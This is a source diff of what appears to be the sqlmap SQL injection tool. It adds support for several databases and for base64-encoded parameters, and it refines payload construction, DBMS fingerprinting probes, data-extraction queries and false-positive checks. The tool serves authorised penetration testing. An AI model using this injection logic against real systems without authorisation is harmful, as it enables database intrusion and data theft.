+34 -16
View File
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import intersect
from lib.core.common import isDigit
from lib.core.common import joinValue
from lib.core.common import listToStrValue
from lib.core.common import parseFilePaths
@@ -117,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
threadData = getCurrentThreadData()
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
if isDigit(value):
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries
elif value.isalpha():
@@ -226,8 +227,8 @@ def checkSqlInjection(place, parameter, value):
# Skip test if the user's wants to test only for a specific
# technique
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg = "skipping test '%s' because user " % title
debugMsg += "specified testing of only "
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg)
continue
@@ -501,12 +502,13 @@ def checkSqlInjection(place, parameter, value):
# Useful to set kb.matchRatio at first based on False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
suggestion = None
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
if not kb.negativeLogic:
if not any((kb.negativeLogic, conf.string, conf.notString)):
try:
ratio = 1.0
seqMatcher = getCurrentThreadData().seqMatcher
@@ -568,7 +570,7 @@ def checkSqlInjection(place, parameter, value):
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
conf.string = candidate
suggestion = conf.string = candidate
injectable = True
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -579,7 +581,7 @@ def checkSqlInjection(place, parameter, value):
if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode:
conf.code = trueCode
suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
logger.info(infoMsg)
@@ -604,7 +606,7 @@ def checkSqlInjection(place, parameter, value):
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break
conf.string = candidate
suggestion = conf.string = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
@@ -618,12 +620,12 @@ def checkSqlInjection(place, parameter, value):
if re.match(r"\A\w+\Z", candidate):
break
conf.notString = candidate
suggestion = conf.notString = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
logger.info(infoMsg)
if not any((conf.string, conf.notString, conf.code)):
if not suggestion:
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
singleTimeLogMessage(infoMsg)
@@ -650,7 +652,7 @@ def checkSqlInjection(place, parameter, value):
except SqlmapConnectionException as ex:
debugMsg = "problem occurred most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
@@ -854,7 +856,9 @@ def checkSqlInjection(place, parameter, value):
logger.warn(warnMsg)
if not checkFalsePositives(injection):
kb.vulnHosts.remove(conf.hostname)
if conf.hostname in kb.vulnHosts:
kb.vulnHosts.remove(conf.hostname)
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
@@ -875,8 +879,12 @@ def heuristicCheckDbms(injection):
to identify with a simple DBMS specific boolean-based test what the DBMS
may be
"""
retVal = False
if conf.skipHeuristics:
return retVal
pushValue(kb.injection)
kb.injection = injection
@@ -885,11 +893,15 @@ def heuristicCheckDbms(injection):
Backend.forceDbms(dbms)
if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1:
continue
if dbms in HEURISTIC_NULL_EVAL:
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
else:
result = False
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
if result:
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms
break
@@ -935,6 +947,9 @@ def checkFalsePositives(injection):
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if randInt3 > randInt2 > randInt1:
break
@@ -1023,6 +1038,9 @@ def checkFilteredChars(injection):
kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter):
if conf.skipHeuristics:
return None
if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg)
@@ -1573,7 +1591,7 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not conf.dropSetCookie:
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while "
+22 -9
View File
@@ -291,7 +291,7 @@ def start():
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
@@ -336,6 +336,10 @@ def start():
conf.httpHeaders.append((header, value))
break
if conf.data:
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv()
@@ -382,7 +386,7 @@ def start():
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -413,14 +417,17 @@ def start():
parseTargetUrl()
else:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if not conf.scope:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
else:
pass
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
@@ -697,6 +704,12 @@ def start():
action()
except KeyboardInterrupt:
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
kb.multipleCtrlC = True
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
kb.lastCtrlCTime = time.time()
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
+20
View File
@@ -13,9 +13,14 @@ from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import CACHE_ALIASES
from lib.core.settings import CRATEDB_ALIASES
from lib.core.settings import CUBRID_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import DERBY_ALIASES
from lib.core.settings import EXTREMEDB_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
@@ -37,12 +42,22 @@ from plugins.dbms.access.connector import Connector as AccessConn
from plugins.dbms.access import AccessMap
from plugins.dbms.altibase.connector import Connector as AltibaseConn
from plugins.dbms.altibase import AltibaseMap
from plugins.dbms.cache.connector import Connector as CacheConn
from plugins.dbms.cache import CacheMap
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
from plugins.dbms.cratedb import CrateDBMap
from plugins.dbms.cubrid.connector import Connector as CubridConn
from plugins.dbms.cubrid import CubridMap
from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.db2 import DB2Map
from plugins.dbms.derby.connector import Connector as DerbyConn
from plugins.dbms.derby import DerbyMap
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
from plugins.dbms.extremedb import ExtremeDBMap
from plugins.dbms.firebird.connector import Connector as FirebirdConn
from plugins.dbms.firebird import FirebirdMap
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
from plugins.dbms.frontbase import FrontBaseMap
from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.h2 import H2Map
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
@@ -101,6 +116,11 @@ def setHandler():
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
+101 -26
View File
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BOUNDED_BASE64_MARKER
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
@@ -110,6 +111,7 @@ class Agent(object):
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
newValue = getUnicode(newValue) if newValue else newValue
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue
@@ -171,19 +173,30 @@ class Agent(object):
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
newValue = self.cleanupPayload(newValue, origValue) or ""
if base64Encoding:
_newValue = newValue
_origValue = origValue
if newValue:
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
newValue = self.adjustLateValues(newValue)
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
# TODO: support for POST_HINT
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
if parameter in kb.base64Originals:
origValue = kb.base64Originals[parameter]
else:
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else:
newValue = self.addPayloadDelimiters(newValue)
@@ -194,7 +207,13 @@ class Agent(object):
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
if base64Encoding:
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
if match:
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
else:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
@@ -300,8 +319,9 @@ class Agent(object):
where = getTechniqueData().where if where is None else where
comment = getTechniqueData().comment if comment is None else comment
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
comment = queries[Backend.getIdentifiedDbms()].comment.query
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
comment = queries[Backend.getIdentifiedDbms()].comment.query
if comment is not None:
expression += comment
@@ -378,6 +398,10 @@ class Agent(object):
"""
if payload:
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
payload = payload.replace(match.group(0), _)
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
@@ -387,7 +411,7 @@ class Agent(object):
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, randomStr())
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB):
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
@@ -409,7 +433,7 @@ class Agent(object):
rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field
if "hex" in rootQuery:
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
hexField = rootQuery.hex.query % field
else:
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
@@ -447,9 +471,15 @@ class Agent(object):
@rtype: C{str}
"""
match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
if match:
field, suffix = match.groups()
else:
suffix = ""
nulledCastedField = field
if field:
if field and Backend.getIdentifiedDbms():
rootQuery = queries[Backend.getIdentifiedDbms()]
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
@@ -466,6 +496,12 @@ class Agent(object):
if conf.hexConvert or kb.binaryField:
nulledCastedField = self.hexConvertField(nulledCastedField)
if suffix:
nulledCastedField += suffix
if not kb.nchar:
nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
return nulledCastedField
def nullCastConcatFields(self, fields):
@@ -509,6 +545,7 @@ class Agent(object):
nulledCastedFields = []
for field in fieldsSplitted:
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
@@ -534,7 +571,7 @@ class Agent(object):
"""
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
@@ -559,7 +596,7 @@ class Agent(object):
if fieldsSelect:
fieldsToCastStr = fieldsSelect.group(1)
elif fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.group(1)
fieldsToCastStr = fieldsSelectTop.group(2)
elif fieldsSelectRownum:
fieldsToCastStr = fieldsSelectRownum.group(1)
elif fieldsSelectDistinct:
@@ -659,7 +696,7 @@ class Agent(object):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -682,8 +719,8 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
@@ -719,15 +756,36 @@ class Agent(object):
warnMsg = "applying generic concatenation (CONCAT)"
singleTimeWarnMessage(warnMsg)
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
if _ != concatenatedQuery:
concatenatedQuery = _
fieldsSelectFrom = None
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectFrom:
elif fieldsSelectFrom or fieldsSelect:
fromTable = ""
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
if _:
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
chars = [_ for _ in replacement]
count = 0
for index in zeroDepthSearch(replacement, ',')[1:]:
chars[index] = "),"
count += 1
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
concatenatedQuery = "%s%s" % (replacement, fromTable)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
@@ -948,7 +1006,7 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
@@ -956,10 +1014,15 @@ class Agent(object):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
if query.startswith("SELECT "):
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
if query.startswith("SELECT ") and field is not None and field in query:
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
@@ -988,6 +1051,15 @@ class Agent(object):
if match:
orderBy = " ORDER BY %s" % match.group(1)
elif Backend.isDbms(DBMS.CACHE):
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
if match:
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
orderBy = " %s" % match.group(0)
field = match.group(1)
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
elif Backend.isDbms(DBMS.FIREBIRD):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
limitedQuery += " %s" % limitStr
@@ -1147,12 +1219,15 @@ class Agent(object):
def whereQuery(self, query):
if conf.dumpWhere and query:
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
else:
prefix, suffix = query, ""
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
else:
prefix, suffix = query, ""
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1162,7 +1237,7 @@ class Agent(object):
prefix += " WHERE %s" % conf.dumpWhere
query = prefix
if suffix:
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
query += suffix
return query
+13 -13
View File
@@ -10,11 +10,11 @@ try:
except:
import pickle
import bz2
import itertools
import os
import sys
import tempfile
import zlib
from lib.core.compat import xrange
from lib.core.enums import MKSTEMP_PREFIX
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
DEFAULT_SIZE_OF = sys.getsizeof(object())
def _size_of(object_):
def _size_of(instance):
"""
Returns total size of a given object_ (in bytes)
Returns total size of a given instance / object (in bytes)
"""
retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
if isinstance(object_, dict):
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
elif hasattr(object_, "__iter__"):
retval += sum(_size_of(_) for _ in object_ if _ != object_)
if isinstance(instance, dict):
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
elif hasattr(instance, "__iter__"):
retval += sum(_size_of(_) for _ in instance if _ != instance)
return retval
@@ -54,8 +54,8 @@ class BigArray(list):
>>> _ = BigArray(xrange(100000))
>>> _[20] = 0
>>> _[100]
100
>>> _[99999]
99999
"""
def __init__(self, items=None):
@@ -92,7 +92,7 @@ class BigArray(list):
self.chunks.pop()
try:
with open(self.chunks[-1], "rb") as f:
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
except IOError as ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex
@@ -113,7 +113,7 @@ class BigArray(list):
self.filenames.add(filename)
os.close(handle)
with open(filename, "w+b") as f:
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename
except (OSError, IOError) as ex:
errMsg = "exception occurred while storing data "
@@ -131,7 +131,7 @@ class BigArray(list):
if not (self.cache and self.cache.index == index):
try:
with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
except Exception as ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex
+213 -75
View File
@@ -58,6 +58,7 @@ from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.convert import htmlUnescape
from lib.core.convert import stdoutEncode
from lib.core.data import cmdLineOptions
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -75,6 +76,7 @@ from lib.core.enums import CHARSET_TYPE
from lib.core.enums import CONTENT_STATUS
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
